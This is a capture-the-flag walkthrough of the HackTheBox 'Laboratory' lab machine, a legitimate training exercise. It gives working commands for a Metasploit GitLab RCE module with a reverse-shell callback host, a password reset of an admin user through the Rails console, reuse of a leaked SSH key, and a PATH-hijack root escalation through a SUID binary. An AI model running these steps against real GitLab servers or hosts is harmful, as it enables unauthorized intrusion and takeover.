Laboratory HackTheBox Walkthrough
Today we are going to crack a machine called the Laboratory. It was created by 0xc45. This is a Capture the Flag type of challenge. This machine is hosted on HackTheBox. Let’s get cracking!
Penetration Testing Methodology
- Network Scanning
- Nmap Scan
- Enumerating HTTPS service
- Enumerating Subdomains
- Enumerating GitLab
- Enumerating GitLab Exploit
- Exploiting GitLab RCE
- Getting shell as git user
- Change Password for dexter user
- Enumerating SSH key for dexter
- Login as dexter user
- Reading User Flag
- Privilege Escalation
- Enumerating SUID permissions
- Exploiting chmod in docker-security
- Getting root shell
- Reading the Root Flag
To Attack any machine, we need the IP Address. Machine hosted on HackTheBox have a static IP Address.
IP Address assigned: 10.129.148.89
Now that we have the IP Address. We need to enumerate open ports on the machine. For this, we will be running a nmap scan.
nmap -A 10.129.148.89
The Nmap scan quickly gave us some great information. It positively informed that the following ports and services are running: SSH (22), HTTP (80), HTTPS (443). Upon reading the nmap scan it was observed that the Common Name is laboratory.htb. We make the entry in the /etc/hosts file with the IP address.
Since we have added an entry in the /etc/hosts file with the IP Address, we can use the laboratory.htb in the Web browser to enumerate the HTTPS service. The website that is hosted is created to promote a company that is dedicated to Security and Development Services.
We got a clue from the nmap scan that there is possibility of subdomains from the details that were enumerated while checking the certificate information. To confirm the suspicion and to potentially enumerate for any other subdomains. We use gobuster for this task. We can see that we have successfully enumerated the git.laboratory.htb.
gobuster dir --url https://laboratory.htb/ --wordlist /usr/share/dirbuster/wordlists/directory-list-lowcase-2.3-small.txt -t 50
As we have found this new subdomain, we need to make an edit in our /etc/hosts file so that we are able to access it on our web browser.
nano /etc/hosts 10.129.148.89 laboratory.htb git.laboratory.htb
Upon opening the git.laboratory.htb we see that it is an installation of GitLab.
Since we didn’t have any credentials for the users, we tried to register for a new user. But we are given an error that the email domain is not the one that it would accept. So, in order to circumvent this error, we tried to change the email address to the domain of the application i.e., laboratory.htb.
After logging in with the newly created credentials, we see that we have the GitLab Community Edition installed on the target machine. The version is 12.8.1.
After, going through some exploration for the version of the GitLab, we found that this version is vulnerable to Remote Code Execution Attack. It is possible to use a direct exploit that can be found on exploitdb. However, we found that it is possible to use an exploit this vulnerability using Metasploit. It requires some set parameters such as the IP Address and port of the target machine, vhost which is the git.laboratory.htb. Then it requires the username and password that was created earlier. After running for a moment, the exploit provides with a shell on the target machine. We prompt the shell to the bash which tells us that the session that we have procured is for the user git.
use exploit/multi/http/gitlab_file_read_rce set rhosts 10.129.148.89 set rport 443 set vhost git.laboratory.htb set username ignite set password 12345678 set ssl true set lhost 10.10.14.108 exploit bash -i
Since we are stuck in the shell, and we cannot run enumerations tests without knowing the password so we try to look for a possible method that can be used to change the password for a shell that is invoked by the GitLab installation. By browsing and reading the documentation on the GitLab official site, we found this particular method.
How to reset user password | GitLab – GitLab Docs
After invoking an interactive shell, we get inside the GitLab console. Here, we require to enumerate for the user on the Linux machine that must have implemented the GitLab instance. We do this using the user=user.find(1) command. It reveals that the user we are looking for is dexter user. We use the user.password command to change the password and then save our changes.
bash -i gitlab-rails console user-User.find(1) user.password = “87654321” user.password_confirmation = “87654321” user.save!
Now that we have access to the user dexter user account, we get back to the GitLab instance on our Web Browser and login using the credentials for dexter. After a successful login, we start to enumerate the files that are accessible for the dexter user and find an SSH private key as shown in the image below.
We copy the private key and create a key on the Kali Linux and named its the key. We used this key to connect to the target machine via SSH. You can read the User flag at this point. After logging in, one of the first enumeration tasks we did was check for the SUID permissions. It prints a huge list of binaries, among which we find the docker-security. It can be used to elevate our access to root.
ssh -i key firstname.lastname@example.org find / -perm -u=s -type f 2>/dev/null
Since it’s a binary that we are not that familiar with, the usual course of action is to reverse engineer it. Although you can use ltrace command to understand the working of the binary. It will tell you that it runs the command chmod to change the permissions for /usr/bin/docker. Since it doesn’t use the complete path of the chmod, we can exploit it by creating a chmod with shell invocation in the same directory and run the binary. Rather than using the original chmod, it will use the chmod that we created and give us root access to the machine. We now can read the root flag and conclude this machine.
echo "/bin/bash" > chmod chmod 777 chmod export PATH=/tmp:$PATH /usr/local/bin/docker-security cd /root ls cat root.txt